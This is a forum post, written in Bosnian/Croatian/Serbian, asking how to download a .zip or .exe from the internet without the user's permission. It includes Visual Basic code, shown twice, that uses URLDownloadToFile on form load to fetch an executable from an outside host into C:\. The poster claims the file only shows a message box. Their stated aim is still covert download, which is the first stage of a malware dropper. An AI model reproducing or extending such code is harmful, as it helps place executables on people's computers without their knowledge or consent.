Problem sa Downlodom (silent download)Pozdrav:
Odmah ću doć na pitanje. Kako automatski skinuti neki fajl sa neta npr. zip ili .exe . To znači da se korisnika prije downloda ne pita hoće li to dopuštiti ili ne. Kod za downlaod:
Code:
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then DownloadFile = True
End Function
Private Sub Form_Load()
DownloadFile "http://vrky.atw.hu/Bravo.exe", "C:\Bravo.exe"
DoEvents
End Sub
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then DownloadFile = True
End Function
Private Sub Form_Load()
DownloadFile "http://vrky.atw.hu/Bravo.exe", "C:\Bravo.exe"
DoEvents
End Sub
Taj .exe koji se downloduje je samo msgbox poruka....
Znači želim da se automatski skine taj .exe bez dozvole korisnika...
